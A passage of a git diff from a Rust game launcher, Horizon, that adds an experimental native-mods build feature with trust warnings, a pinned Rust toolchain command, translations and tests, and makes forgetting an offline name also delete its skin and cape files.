`CARGO_BUILD_JOBS=8` while other agents' builds ran (upper bounds):
|
||||
|
||||
| What | Size, time |
|
||||
|---|---|
|
||||
| Rust 1.99.1 (`<launcher data>/rust/`) | 453 MB; 58 s to download and unpack |
|
||||
| horizon-mixins (`native/tools/`) | 7 MB; built once in 19 s |
|
||||
| Crates in the launcher's Cargo home (`<launcher data>/cargo/`) | 289 MB |
|
||||
| Source of one commit, and the stage | 64 MB each |
|
||||
| First build: release profile, the whole game | 9 min 10 s of compiling, 9 min 41 s in all; `native/target/` 1.5 GB |
|
||||
| Rebuild after a helper's code changed | 2 min 46 s of compiling (only `horizon-client`), 2 min 53 s in all |
|
||||
| A change horizon-mixins ignores (a comment) | nothing compiled; 31 s, mostly the version folder's copy |
|
||||
|
||||
Only the native builds an instance plays are kept (`native_mods::prune`); `native/target/` stays for the next one.
|
||||
|
||||
## Trust
|
||||
|
||||
- **Off by default.** The command needs `--trust-native-code`; the window shows a warning in red before every
|
||||
build: the mods run with full access to the computer, and their ids and versions. The Mods page says who made
|
||||
each one, and "Not made or endorsed by the Horizon project" for any mod not Horizon's own.
|
||||
- **The registry** (horizon-rust/horizon-mods) lists them as their own kind, `native-mod`, only after a maintainer
|
||||
has read the source: the `.hnmod` *is* the source (only `.rs` and `.toml`, checked without running anything),
|
||||
pinned by SHA-256 like every registry file. An update is reviewed again; `revoked.toml` takes one down.
|
||||
- **Isolation of data.** Native mods run only in the instance built for them, with its own worlds, options and logs.
|
||||
- What this does not do: sandbox the compiled game. horizon-mixins' checks stop mistakes, not a malicious helper
|
||||
([security notes](https://github.com/horizon-rust/horizon-mixins/blob/main/docs/security.md)).
|
||||
|
||||
## Multiplayer
|
||||
|
||||
- **Single player and LAN host:** the mods run in the host's game and its integrated server, so a server-side
|
||||
hook applies to every player of the world.
|
||||
- **Joining a server:** only client-side hooks do anything; the protocol is unchanged.
|
||||
- **Dedicated servers:** not built yet; the same pipeline can build the server (`--no-default-features`).
|
||||
|
||||
## Left to do
|
||||
|
||||
- Rebuild after the mods or the Nightly change (asking first, as it compiles for minutes).
|
||||
- A prebuilt horizon-mixins from its CI instead of building it on the player's computer.
|
||||
- Windows and Linux: the toolchains are pinned, but a full game build on them is unproven.
|
||||
@@ -40,7 +40,7 @@ start it again and the chunks already saved load instead of generating.
|
||||
(`DecorationOrder`), and this makes a task decorate in the same order however its jobs are timed and
|
||||
shared among the workers: the same seed gives the same chunks.
|
||||
- Between server ticks the server waits for the workers' results and hands out the next jobs at once
|
||||
(`Streaming::wait`, `pump_pregen`), instead of once a tick: a chunk passes through five jobs
|
||||
(`Streaming::wait`, `pump_chunks`), instead of once a tick: a chunk passes through five jobs
|
||||
(generate, decorate, finish, light, save), each needing its neighbours' earlier ones.
|
||||
|
||||
The chunks of the band's outer ring are finished (FULL) but not lit, as at the edge of what a player has
|
||||
|
||||
@@ -449,6 +449,12 @@ than main's head and holds something main lacks, otherwise main (`tools/ci/night
|
||||
new publishes nothing. A Nightly can include pull requests not reviewed yet: that is what it is for, playing them
|
||||
before the gate.
|
||||
|
||||
Every Nightly ships its exact source. Its notes name the commit; `horizon-source.tar.gz` on the release is that
|
||||
commit's `git archive`, signed with the builds in `SHA256SUMS`; and `nightly.py keep-source` tags the commit
|
||||
`nightly-source/<date>-<short>`. That tag is never pruned, unlike the `nightly-<date>` release and the
|
||||
`nightly/build-*` branch (7 days each), because native mods pin a Nightly's commit and the launcher downloads that
|
||||
commit's source to build them ([native-mods.md](native-mods.md)).
|
||||
|
||||
### Trusted reviewers
|
||||
|
||||
One list, `.github/trusted-reviewers.txt`, governs two things for the people on it (kacpherek, rdbtCVS and
|
||||
@@ -507,7 +513,7 @@ comment on any issue or pull request (`.github/workflows/nightly-command.yml`, `
|
||||
`nightly-<date>` release points to, or any other branch (`nightly.py prune-builds`).
|
||||
- **Refused.** A pull request that changes a path CODEOWNERS gives to Ludovic (`.github/`, `tools/ci/`, the
|
||||
signing and update code, `launcher/src/backend.rs`, `launcher/links.json`…), more than 30 in a set, and more than
|
||||
6 builds a day (the scheduled one always runs).
|
||||
12 builds a day (the scheduled one always runs; 6 until 2026-10-28).
|
||||
- **No repository role.** Reviewers need no permission on the repository: the list file and the workflow are the
|
||||
whole of it.
|
||||
- **Ludovic stays in charge.**
|
||||
|
||||
+4
-3
@@ -136,8 +136,9 @@ The opening, then Play ([clip](docs/opening.webm)):
|
||||
made up (`horizon-player.txt`). Picking one plays as it from the next Play. Offline names play
|
||||
only while an account that owns the game is signed in ([Microsoft accounts](#microsoft-accounts));
|
||||
signing the last one out keeps them, unplayable until one is back. Settings > Account
|
||||
adds offline names (3 to 16 letters, digits or `_`; the game gets `--name`) and forgets them;
|
||||
the Console's Share log takes them out of the log too. `horizon-launcher account offline
|
||||
adds offline names (3 to 16 letters, digits or `_`; the game gets `--name`) and forgets them,
|
||||
skin and cape files included, and rolls the game's made-up name for a new one; the Console's
|
||||
Share log takes the names out of the log too. `horizon-launcher account offline
|
||||
[NAME]`, `account select <name>` (an account or an offline name), `account forget-offline
|
||||
<name>`.
|
||||
- **Accent and Home background**: on top of Dark, Light or System, Settings > Launcher picks an
|
||||
@@ -197,7 +198,7 @@ The opening, then Play ([clip](docs/opening.webm)):
|
||||
keeping every field the launcher doesn't show and the servers joined with Direct Connection. The
|
||||
same from the command line: `horizon-launcher multiplayer [list|add|remove] [--instance <name>]`
|
||||
and `horizon-launcher play --server <address or name>`.
|
||||
- **Patch notes**: each release's notes, newest first, with a link to GitHub Sponsors. Quiet "Discord" and "Website" links sit in the footer.
|
||||
- **Patch notes**: each release's notes, newest first, with a link to GitHub Sponsors. Quiet "Sponsor", "Discord" and "Website" links sit in the sidebar footer.
|
||||
|
||||
Data lives in the platform's data directory (`~/.local/share/horizon-launcher` on Linux,
|
||||
`~/Library/Application Support/horizon-launcher` on macOS, `%APPDATA%\horizon-launcher` on
|
||||
|
||||
+11
-1
@@ -120,6 +120,7 @@
|
||||
"INSTANCES": "INSTANCES",
|
||||
"SERVERS": "SERVEURS",
|
||||
"HIDE": "MASQUER",
|
||||
"Sponsor": "Soutenir",
|
||||
"Website": "Site web",
|
||||
"Ready": "Prêt",
|
||||
"Needs preparing": "À préparer",
|
||||
@@ -176,5 +177,14 @@
|
||||
"Download and prepare": "Télécharger et préparer",
|
||||
"Not prepared. Horizon can download Minecraft {version} from Mojang for your account, or use your own install.": "Pas préparé. Horizon peut télécharger Minecraft {version} depuis Mojang pour votre compte, ou utiliser votre propre installation.",
|
||||
"Not prepared. Sign in with the Microsoft account that owns Minecraft {version} first.": "Pas préparé. Connectez-vous d'abord avec le compte Microsoft qui possède Minecraft {version}.",
|
||||
"Cancel": "Annuler"
|
||||
"Cancel": "Annuler",
|
||||
"Native mods (experimental)": "Mods natifs (expérimental)",
|
||||
"Native mods from the Mods page compile into the game with the launcher's own Rust. Not sandboxed: they can do anything you can on this computer.": "Les mods natifs de la page Mods sont compilés dans le jeu avec le Rust du launcher. Sans bac à sable : ils peuvent faire tout ce que vous pouvez faire sur cet ordinateur.",
|
||||
"{version} plays in this instance.": "Cette instance joue {version}.",
|
||||
"Install Horizon first.": "Installez d'abord Horizon.",
|
||||
"Starting the build": "Début de la compilation",
|
||||
"These mods will run with full access to your computer": "Ces mods auront un accès complet à votre ordinateur",
|
||||
"They can read, change or delete your files, and use your accounts and network, like any program you run. Build them only if you trust their authors: the Mods page names them.": "Ils peuvent lire, modifier ou supprimer vos fichiers, et utiliser vos comptes et votre réseau, comme tout programme que vous lancez. Ne les compilez que si vous faites confiance à leurs auteurs : la page Mods les nomme.",
|
||||
"Mods: {mods}": "Mods : {mods}",
|
||||
"The build compiles the game: about ten minutes and a few GB of disk the first time, a few minutes after that.": "La compilation construit le jeu : une dizaine de minutes et quelques Go de disque la première fois, quelques minutes ensuite."
|
||||
}
|
||||
+11
-1
@@ -120,6 +120,7 @@
|
||||
"INSTANCES": "СБОРКИ",
|
||||
"SERVERS": "СЕРВЕРЫ",
|
||||
"HIDE": "СКРЫТЬ",
|
||||
"Sponsor": "Поддержать",
|
||||
"Website": "Сайт",
|
||||
"Ready": "Готово",
|
||||
"Needs preparing": "Нужна подготовка",
|
||||
@@ -176,5 +177,14 @@
|
||||
"Download and prepare": "Скачать и подготовить",
|
||||
"Not prepared. Horizon can download Minecraft {version} from Mojang for your account, or use your own install.": "Не подготовлено. Horizon может скачать Minecraft {version} у Mojang для вашего аккаунта или взять вашу установку.",
|
||||
"Not prepared. Sign in with the Microsoft account that owns Minecraft {version} first.": "Не подготовлено. Сначала войдите в аккаунт Microsoft, у которого есть Minecraft {version}.",
|
||||
"Cancel": "Отмена"
|
||||
"Cancel": "Отмена",
|
||||
"Native mods (experimental)": "Нативные моды (экспериментально)",
|
||||
"Native mods from the Mods page compile into the game with the launcher's own Rust. Not sandboxed: they can do anything you can on this computer.": "Нативные моды со страницы «Моды» компилируются в игру собственным Rust лаунчера. Без песочницы: они могут делать на этом компьютере всё, что можете вы.",
|
||||
"{version} plays in this instance.": "В этой сборке запускается {version}.",
|
||||
"Install Horizon first.": "Сначала установите Horizon.",
|
||||
"Starting the build": "Начало сборки",
|
||||
"These mods will run with full access to your computer": "Эти моды получат полный доступ к вашему компьютеру",
|
||||
"They can read, change or delete your files, and use your accounts and network, like any program you run. Build them only if you trust their authors: the Mods page names them.": "Они могут читать, изменять и удалять ваши файлы, использовать ваши аккаунты и сеть, как любая запущенная вами программа. Собирайте их, только если доверяете авторам: они указаны на странице «Моды».",
|
||||
"Mods: {mods}": "Моды: {mods}",
|
||||
"The build compiles the game: about ten minutes and a few GB of disk the first time, a few minutes after that.": "Сборка компилирует игру: около десяти минут и несколько ГБ на диске в первый раз, потом несколько минут."
|
||||
}
|
||||
@@ -907,14 +907,16 @@ impl Accounts {
|
||||
Ok(name.to_string())
|
||||
}
|
||||
|
||||
/// Forgets an offline name; if it was playing, the game's own name plays.
|
||||
pub fn remove_offline(&mut self, name: &str) -> Result<(), String> {
|
||||
/// Forgets an offline name: its look and its skin and cape files (`skins`) go with it; if
|
||||
/// it was playing, the game's own name plays.
|
||||
pub fn remove_offline(&mut self, name: &str, skins_dir: &Path) -> Result<(), String> {
|
||||
let before = self.offline.len();
|
||||
self.offline.retain(|n| !n.eq_ignore_ascii_case(name));
|
||||
self.looks.remove(&name.to_ascii_lowercase());
|
||||
if self.offline.len() == before {
|
||||
return Err(format!("No offline name {name}."));
|
||||
}
|
||||
crate::skins::forget(skins_dir, name);
|
||||
if self
|
||||
.offline_selected
|
||||
.as_ref()
|
||||
|
||||
@@ -627,9 +627,26 @@ fn offline_names_switch_with_accounts() {
|
||||
assert!(a.play_as(&store, Player::Microsoft("zzz".into())).is_err());
|
||||
a.play_as(&store, Player::Offline("Builder_1".into()))
|
||||
.unwrap();
|
||||
a.remove_offline("BUILDER_1").unwrap();
|
||||
// Forgetting drops the look and the name's skin and cape files too.
|
||||
let dir = std::env::temp_dir().join(format!("horizon-accounts-{}", std::process::id()));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
let (skin, cape) = crate::skins::files(&dir, "builder_1");
|
||||
std::fs::write(&skin, b"skin").unwrap();
|
||||
std::fs::write(&cape, b"cape").unwrap();
|
||||
a.looks.insert(
|
||||
"builder_1".into(),
|
||||
crate::skins::Look {
|
||||
skin: true,
|
||||
cape: true,
|
||||
..crate::skins::Look::default()
|
||||
},
|
||||
);
|
||||
a.remove_offline("BUILDER_1", &dir).unwrap();
|
||||
assert_eq!(a.player(), Player::GameName);
|
||||
assert!(a.remove_offline("Builder_1").is_err());
|
||||
assert!(a.looks.is_empty() && !skin.exists() && !cape.exists());
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
assert!(a.remove_offline("Builder_1", &dir).is_err());
|
||||
// An accounts.json from before offline names reads as it was, and writes nothing new.
|
||||
let old: Accounts = serde_json::from_str(r#"{"accounts":[],"selected":null}"#).unwrap();
|
||||
assert_eq!(old.player(), Player::GameName);
|
||||
|
||||
+22
-5
@@ -74,7 +74,7 @@ const LAUNCHER_BINARY: &str = if cfg!(windows) {
|
||||
"horizon-launcher"
|
||||
};
|
||||
|
||||
const CLIENT: &str = if cfg!(windows) {
|
||||
pub(crate) const CLIENT: &str = if cfg!(windows) {
|
||||
"horizon-client.exe"
|
||||
} else {
|
||||
"horizon-client"
|
||||
@@ -500,15 +500,24 @@ fn signed_digest(tag: &str, asset: &str) -> Result<String, String> {
|
||||
)
|
||||
}
|
||||
|
||||
/// Downloads `url` into `to`; the file is kept only if its SHA-256 is `sha256`, the signed one.
|
||||
fn download(
|
||||
/// Downloads `url` into `to`; the file is kept only if its SHA-256 is `sha256`, the signed (or
|
||||
/// pinned) one. A `size` of 0 takes the server's Content-Length for the progress.
|
||||
pub(crate) fn download(
|
||||
url: &str,
|
||||
size: u64,
|
||||
sha256: &str,
|
||||
to: &Path,
|
||||
progress: &impl Fn(f32),
|
||||
) -> Result<(), String> {
|
||||
let mut reader = get(url)?.into_reader();
|
||||
let response = get(url)?;
|
||||
let size = match size {
|
||||
0 => response
|
||||
.header("Content-Length")
|
||||
.and_then(|n| n.parse().ok())
|
||||
.unwrap_or(0),
|
||||
n => n,
|
||||
};
|
||||
let mut reader = response.into_reader();
|
||||
let mut file = fs::File::create(to).map_err(|e| e.to_string())?;
|
||||
let mut hash = horizon_release_sign::Sha256::default();
|
||||
let (mut done, mut buf) = (0u64, vec![0u8; 1 << 16]);
|
||||
@@ -858,7 +867,7 @@ fn files_under(dir: &Path, relative: &Path) -> Vec<PathBuf> {
|
||||
files
|
||||
}
|
||||
|
||||
fn copy_dir(from: &Path, to: &Path) -> std::io::Result<()> {
|
||||
pub(crate) fn copy_dir(from: &Path, to: &Path) -> std::io::Result<()> {
|
||||
fs::create_dir_all(to)?;
|
||||
for entry in fs::read_dir(from)? {
|
||||
let entry = entry?;
|
||||
@@ -2486,6 +2495,10 @@ pub enum Msg {
|
||||
NightlyProgress(f32),
|
||||
/// A nightly check ended: the version installed (None: already up to date), or why not.
|
||||
Nightly(Result<Option<String>, String>),
|
||||
/// Where the native-mods build is (`native_mods::Step::label`).
|
||||
NativeProgress(String),
|
||||
/// The native-mods build ended: the version built, or why not.
|
||||
Native(Result<String, String>),
|
||||
}
|
||||
|
||||
/// A running process; its output arrives as `Msg::Line`, its end as `Msg::Exit`.
|
||||
@@ -2672,6 +2685,10 @@ pub struct Settings {
|
||||
/// instance. Off by default.
|
||||
#[serde(default, skip_serializing_if = "std::ops::Not::not")]
|
||||
pub nightly: bool,
|
||||
/// The player turned Native mods (experimental) on (`native_mods`): mixin mods compiled into
|
||||
/// a game of their own. Off by default.
|
||||
#[serde(default, skip_serializing_if = "std::ops::Not::not")]
|
||||
pub native_mods: bool,
|
||||
}
|
||||
|
||||
impl Settings {
|
||||
|
||||
@@ -210,12 +210,24 @@ fn kind_of(kind: &index::Kind) -> Option<Kind> {
|
||||
index::Kind::ResourcePack => Some(Kind::ResourcePack),
|
||||
index::Kind::Modpack => Some(Kind::Modpack),
|
||||
index::Kind::Shader => Some(Kind::Shader),
|
||||
// Mixin mods: installed beside the others, compiled into the game by `native_mods`.
|
||||
index::Kind::NativeMod => Some(Kind::Mod),
|
||||
index::Kind::Other(_) => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// What the player reads about a registry project before installing it: whether its files are
|
||||
/// signed, and for a mod what it may do, in the game's words (Options > Mods).
|
||||
/// Where the registry's mod policy is: who owns and answers for a project, takedowns.
|
||||
pub const POLICY: &str = "https://playhorizon.dev/mods/policy";
|
||||
|
||||
/// Whether the Horizon project made `p` (the mod policy's "Official": author Horizon, source in
|
||||
/// the horizon-rust organisation).
|
||||
pub fn official(p: &index::Project) -> bool {
|
||||
p.authors == ["Horizon"] && p.source.starts_with("https://github.com/horizon-rust/")
|
||||
}
|
||||
|
||||
/// What the player reads about a registry project before installing it: who made it, whether its
|
||||
/// files are signed, and for a mod what it may do, in the game's words (Options > Mods). A native
|
||||
/// mod says it runs with the player's rights.
|
||||
pub fn trust_and_capabilities(id: &str) -> Vec<String> {
|
||||
let Ok(index) = index() else {
|
||||
return Vec::new();
|
||||
@@ -223,10 +235,30 @@ pub fn trust_and_capabilities(id: &str) -> Vec<String> {
|
||||
let Some(p) = index.project(id) else {
|
||||
return Vec::new();
|
||||
};
|
||||
let mut lines = vec![match &p.key {
|
||||
let mut lines = vec![if official(p) {
|
||||
"Made by Horizon".to_owned()
|
||||
} else {
|
||||
format!(
|
||||
"Made by {}. Not made or endorsed by the Horizon project ({POLICY})",
|
||||
p.authors.join(", ")
|
||||
)
|
||||
}];
|
||||
lines.push(match &p.key {
|
||||
Some(_) => "Signed by its author: the launcher checks the signature".to_owned(),
|
||||
None => "Unsigned: the launcher checks its checksum only".to_owned(),
|
||||
}];
|
||||
});
|
||||
if p.kind == index::Kind::NativeMod {
|
||||
lines.push(
|
||||
"Native code: it is compiled into the game and runs with full access to your computer. Its source was reviewed before it was listed".into(),
|
||||
);
|
||||
if let Some(v) = p.versions.first() {
|
||||
let pin = v.api.split('/').nth(1).unwrap_or_default();
|
||||
lines.push(format!(
|
||||
"Built by the launcher on Horizon {}",
|
||||
&pin[..pin.len().min(7)]
|
||||
));
|
||||
}
|
||||
}
|
||||
if let Some(v) = p.versions.first().filter(|_| p.kind == index::Kind::Mod) {
|
||||
lines.extend(
|
||||
v.capabilities
|
||||
@@ -562,7 +594,11 @@ fn install_version(
|
||||
if let Some(r) = index.revoked(&p.id, &v.file.sha256) {
|
||||
return Err(format!("{} was taken down: {}", p.name, r.reason));
|
||||
}
|
||||
let relative = relative(project.kind, &p.id, &v.file.name)?;
|
||||
let native = p.kind == index::Kind::NativeMod;
|
||||
let relative = match native {
|
||||
true => format!("{}/{}.hnmod", crate::native_mods::INSTALLED, p.id),
|
||||
false => relative(project.kind, &p.id, &v.file.name)?,
|
||||
};
|
||||
let mut list = installed::Installed::load(home);
|
||||
let ours = |e: &installed::Entry| e.source == SourceId::Horizon && e.project == p.id;
|
||||
let old = list.entries.iter().find(|e| ours(e)).cloned();
|
||||
@@ -579,7 +615,7 @@ fn install_version(
|
||||
));
|
||||
}
|
||||
let clash = target.exists() && old.as_ref().is_none_or(|o| o.file != relative);
|
||||
if project.kind == Kind::Mod && (clash || folder_mod.exists()) {
|
||||
if project.kind == Kind::Mod && (clash || (!native && folder_mod.exists())) {
|
||||
return Err(format!(
|
||||
"A mod with the id {} is already in {}: move it away first.",
|
||||
p.id,
|
||||
@@ -593,7 +629,17 @@ fn install_version(
|
||||
let file = &version_of(index, p, v, None).files[0];
|
||||
let staging = home.join("mod-browser/downloads");
|
||||
let path = fetch(file, &staging, local, &|f| progress(&line, f))?;
|
||||
let trust = index::check_file(index, p, v, &path).inspect_err(|_| {
|
||||
let checked = index::check_file(index, p, v, &path).and_then(|trust| {
|
||||
// Only Rust and TOML sources, for the mod the index names: nothing in it runs here.
|
||||
match native {
|
||||
true => index::native::Bundle::read(&path).and_then(|b| match b.manifest.id == p.id {
|
||||
true => Ok(trust),
|
||||
false => Err(format!("it is {}, not {}", b.manifest.id, p.id)),
|
||||
}),
|
||||
false => Ok(trust),
|
||||
}
|
||||
});
|
||||
let trust = checked.inspect_err(|_| {
|
||||
let _ = fs::remove_file(&path);
|
||||
})?;
|
||||
if let Some(dir) = target.parent() {
|
||||
@@ -628,8 +674,12 @@ fn install_version(
|
||||
Ok(entry)
|
||||
}
|
||||
|
||||
/// The mod id of an installed mod (`horizon-mods/<id>` or `horizon-mods/<id>.hmod`).
|
||||
/// The mod id of an installed mod (`horizon-mods/<id>`, `horizon-mods/<id>.hmod` or
|
||||
/// `horizon-native-mods/<id>.hnmod`).
|
||||
pub fn mod_id(entry: &installed::Entry) -> Option<&str> {
|
||||
if let Some(rest) = entry.file.strip_prefix(crate::native_mods::INSTALLED) {
|
||||
return rest.strip_prefix('/')?.strip_suffix(".hnmod");
|
||||
}
|
||||
let rest = entry.file.strip_prefix(java::MODS_DIR)?.strip_prefix('/')?;
|
||||
Some(rest.strip_suffix(".hmod").unwrap_or(rest))
|
||||
}
|
||||
|
||||
@@ -33,6 +33,39 @@ fn hud(index: &Index) -> Project {
|
||||
project_of(index.project("coords_hud").unwrap()).unwrap()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn native_registry_entries_are_mods_that_say_they_run_native_code() {
|
||||
assert_eq!(kind_of(&index::Kind::NativeMod), Some(Kind::Mod));
|
||||
let mut index = sample();
|
||||
index.projects[0].kind = index::Kind::NativeMod;
|
||||
let found = search(&index, &Query::new("", Kind::Mod));
|
||||
assert!(found.iter().any(|p| p.id == index.projects[0].id));
|
||||
let entry = |file: &str| {
|
||||
serde_json::from_value::<installed::Entry>(serde_json::json!({
|
||||
"source": "horizon", "project": "p", "slug": "p", "title": "P", "kind": "mod",
|
||||
"version": "1", "number": "1", "file": file, "checksum": "", "page": ""
|
||||
}))
|
||||
.unwrap()
|
||||
};
|
||||
assert_eq!(
|
||||
mod_id(&entry("horizon-native-mods/veinminer.hnmod")),
|
||||
Some("veinminer")
|
||||
);
|
||||
assert_eq!(mod_id(&entry("horizon-mods/zoom.hmod")), Some("zoom"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn only_horizons_own_projects_go_without_the_not_endorsed_line() {
|
||||
let mut p = sample().projects[0].clone();
|
||||
p.authors = vec!["Horizon".into()];
|
||||
p.source = "https://github.com/horizon-rust/horizon-mod-zoom".into();
|
||||
assert!(official(&p));
|
||||
p.source = "https://github.com/someone/horizon-mod-zoom".into();
|
||||
assert!(!official(&p), "the name alone doesn't make it official");
|
||||
p.authors = vec!["levzzz5154".into()];
|
||||
assert!(!official(&p));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn searches_by_kind_and_words() {
|
||||
let index = sample();
|
||||
|
||||
+116
-2
@@ -23,6 +23,16 @@ struct Cli {
|
||||
command: Option<Cmd>,
|
||||
}
|
||||
|
||||
#[derive(Subcommand)]
|
||||
enum RustCmd {
|
||||
/// Whether it is installed, its version and whether this computer can link with it
|
||||
Status,
|
||||
/// Download the pinned toolchain from static.rust-lang.org (once), checked by SHA-256
|
||||
Install,
|
||||
/// Delete the toolchain and the native builds' Cargo home
|
||||
Remove,
|
||||
}
|
||||
|
||||
#[derive(Subcommand)]
|
||||
enum ServersCmd {
|
||||
/// The servers, their folder and whether they run
|
||||
@@ -93,7 +103,7 @@ enum AccountCmd {
|
||||
/// as NAME (kept to switch back to; 3 to 16 letters, digits or _), or as the name the game
|
||||
/// made up
|
||||
Offline { name: Option<String> },
|
||||
/// Forget one of your offline names
|
||||
/// Forget one of your offline names; its skin and cape go with it
|
||||
ForgetOffline { name: String },
|
||||
/// Show or set an offline name's skin and cape: a 64x64 (or 64x32) skin PNG, a 64x32 cape
|
||||
/// PNG, the model. Kept by the launcher and given to the game when that name plays
|
||||
@@ -597,6 +607,25 @@ enum Cmd {
|
||||
#[arg(long)]
|
||||
accept_eula: bool,
|
||||
},
|
||||
/// Native mods (experimental, docs/native-mods.md): compile mixin bundles on the Horizon
|
||||
/// revision they pin, with the launcher's own Rust, as the version the "Native mods" instance
|
||||
/// plays. Not sandboxed: the mods' code runs with your rights
|
||||
NativeBuild {
|
||||
/// A mod folder (horizon-mixin.toml, or an unpacked .hnmod), or a folder of them
|
||||
/// (default: the native mods installed and turned on in the instance)
|
||||
folder: Option<PathBuf>,
|
||||
/// The instance whose installed native mods to build, and which then plays the build
|
||||
/// (default: the selected one; the game's own home builds into the Native mods instance)
|
||||
#[arg(long)]
|
||||
instance: Option<String>,
|
||||
/// The installed version whose game files the build reuses, and whose commit it builds on
|
||||
/// when no mod pins one (default: the selected one)
|
||||
#[arg(long)]
|
||||
version: Option<String>,
|
||||
/// You read the mods' source and trust it with full access to this computer
|
||||
#[arg(long)]
|
||||
trust_native_code: bool,
|
||||
},
|
||||
/// Show a release's patch notes (default: the newest)
|
||||
Notes { tag: Option<String> },
|
||||
/// Show the Discord, sponsor and website links
|
||||
@@ -704,6 +733,12 @@ enum Cmd {
|
||||
#[command(subcommand)]
|
||||
action: Option<ModsCmd>,
|
||||
},
|
||||
/// The portable Rust toolchain native mods compile with (docs/native-mods.md): the launcher's
|
||||
/// own, in its data folder, never installed on the system
|
||||
Rust {
|
||||
#[command(subcommand)]
|
||||
action: Option<RustCmd>,
|
||||
},
|
||||
/// Servers hosted with horizon-server (the Servers page): list them, create one, or run any
|
||||
/// horizon-server command on one
|
||||
Servers {
|
||||
@@ -974,6 +1009,36 @@ fn execute(command: Cmd, as_json: bool) -> Result<(), String> {
|
||||
);
|
||||
}
|
||||
}
|
||||
Cmd::NativeBuild {
|
||||
folder,
|
||||
instance,
|
||||
version,
|
||||
trust_native_code,
|
||||
} => {
|
||||
if !trust_native_code {
|
||||
return Err("Native mods run with full access to this computer. Read their source, then pass --trust-native-code.".into());
|
||||
}
|
||||
let base = backend::resolve_version(version.as_deref())?;
|
||||
let started = std::time::Instant::now();
|
||||
let target = match &instance {
|
||||
Some(name) => instances::find(name)?,
|
||||
None => instances::selected(),
|
||||
};
|
||||
let (folder, target) = match folder {
|
||||
Some(folder) => (folder, None),
|
||||
None => (
|
||||
horizon_launcher::native_mods::installed_mods(&target.home)?,
|
||||
Some(&target),
|
||||
),
|
||||
};
|
||||
let built = horizon_launcher::native_mods::build(&base, &folder, target, |step| {
|
||||
eprintln!("{}", step.label())
|
||||
})?;
|
||||
println!(
|
||||
"{built} built and selected for its instance ({:.0} s).",
|
||||
started.elapsed().as_secs_f64()
|
||||
);
|
||||
}
|
||||
Cmd::Remove { tag } => {
|
||||
backend::remove_version(&tag)?;
|
||||
println!("Removed {tag}.");
|
||||
@@ -1261,11 +1326,60 @@ fn execute(command: Cmd, as_json: bool) -> Result<(), String> {
|
||||
Cmd::Modpack { action } => modpack(action.unwrap_or(ModpackCmd::List), as_json)?,
|
||||
Cmd::Mods { action } => mods(action.unwrap_or(ModsCmd::List { instance: None }), as_json)?,
|
||||
Cmd::Servers { action } => servers(action.unwrap_or(ServersCmd::List), as_json)?,
|
||||
Cmd::Rust { action } => rust(action.unwrap_or(RustCmd::Status), as_json)?,
|
||||
Cmd::Mcp => unreachable!(),
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn rust(action: RustCmd, as_json: bool) -> Result<(), String> {
|
||||
use horizon_launcher::rust_toolchain as rust;
|
||||
match action {
|
||||
RustCmd::Status => {
|
||||
let installed = rust::installed();
|
||||
let version = installed.as_ref().map(|t| t.version()).transpose()?;
|
||||
let linker = rust::linker().err();
|
||||
if as_json {
|
||||
json(serde_json::json!({
|
||||
"pinned": rust::VERSION,
|
||||
"host": rust::host().map(|h| h.target),
|
||||
"installed": installed.as_ref().map(|t| t.dir.display().to_string()),
|
||||
"version": version,
|
||||
"linker": linker,
|
||||
}));
|
||||
} else {
|
||||
match (&installed, &version) {
|
||||
(Some(t), Some(v)) => println!("{v} in {}", t.dir.display()),
|
||||
_ => println!(
|
||||
"Rust {} is not installed (`horizon-launcher rust install`).",
|
||||
rust::VERSION
|
||||
),
|
||||
}
|
||||
println!(
|
||||
"{}",
|
||||
linker.unwrap_or_else(|| "This computer can link the game.".into())
|
||||
);
|
||||
}
|
||||
}
|
||||
RustCmd::Install => {
|
||||
let shown = std::cell::Cell::new(0);
|
||||
let toolchain = rust::install(|f| {
|
||||
let percent = (f * 100.0) as u32;
|
||||
if percent >= shown.get() + 10 {
|
||||
shown.set(percent);
|
||||
eprintln!("{percent}%");
|
||||
}
|
||||
})?;
|
||||
println!("{} in {}", toolchain.version()?, toolchain.dir.display());
|
||||
}
|
||||
RustCmd::Remove => {
|
||||
rust::remove()?;
|
||||
println!("Removed the launcher's Rust toolchain and Cargo home.");
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn update(check: bool, as_json: bool) -> Result<(), String> {
|
||||
let updates = backend::check_updates()?;
|
||||
if as_json && check {
|
||||
@@ -1466,7 +1580,7 @@ fn account_command(action: AccountCmd, as_json: bool) -> Result<(), String> {
|
||||
}
|
||||
}
|
||||
AccountCmd::ForgetOffline { name } => {
|
||||
accounts.remove_offline(&name)?;
|
||||
accounts.remove_offline(&name, &horizon_launcher::skins::dir())?;
|
||||
accounts.save()?;
|
||||
println!("Forgot the offline name {name}.");
|
||||
}
|
||||
|
||||
@@ -7,11 +7,13 @@ use clap::{ArgAction, Command};
|
||||
use serde_json::{json, Map, Value};
|
||||
|
||||
/// CLI commands that are not generated tools: the MCP server itself; No AI, the player's switch
|
||||
/// and never an agent's; and the ones mcp.rs runs in the session.
|
||||
/// and never an agent's; trusting native mods' code, the player's decision too; and the ones
|
||||
/// mcp.rs runs in the session.
|
||||
const NOT_TOOLS: &[&str] = &[
|
||||
"mcp",
|
||||
"agent-config",
|
||||
"no-ai",
|
||||
"native-build",
|
||||
"play",
|
||||
"server",
|
||||
"account sign-in",
|
||||
|
||||
@@ -491,6 +491,34 @@ fn follow_player(game_home: &Path, home: &Path) {
|
||||
}
|
||||
}
|
||||
|
||||
/// A fresh made-up name everywhere the game keeps one: `horizon-player.txt` is per game
|
||||
/// folder (`PLAYER_FILES`), so the same new name goes to the default home and every
|
||||
/// instance's — the player stays one player in its worlds. The file's `name:` line and the
|
||||
/// `Player` + five digits scheme are horizon-client's (`offline_name.rs`).
|
||||
pub fn new_player_name() -> Result<String, String> {
|
||||
new_player_name_in(&backend::game_home(), &backend::data_dir())
|
||||
}
|
||||
|
||||
fn new_player_name_in(game_home: &Path, data: &Path) -> Result<String, String> {
|
||||
let nanos = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
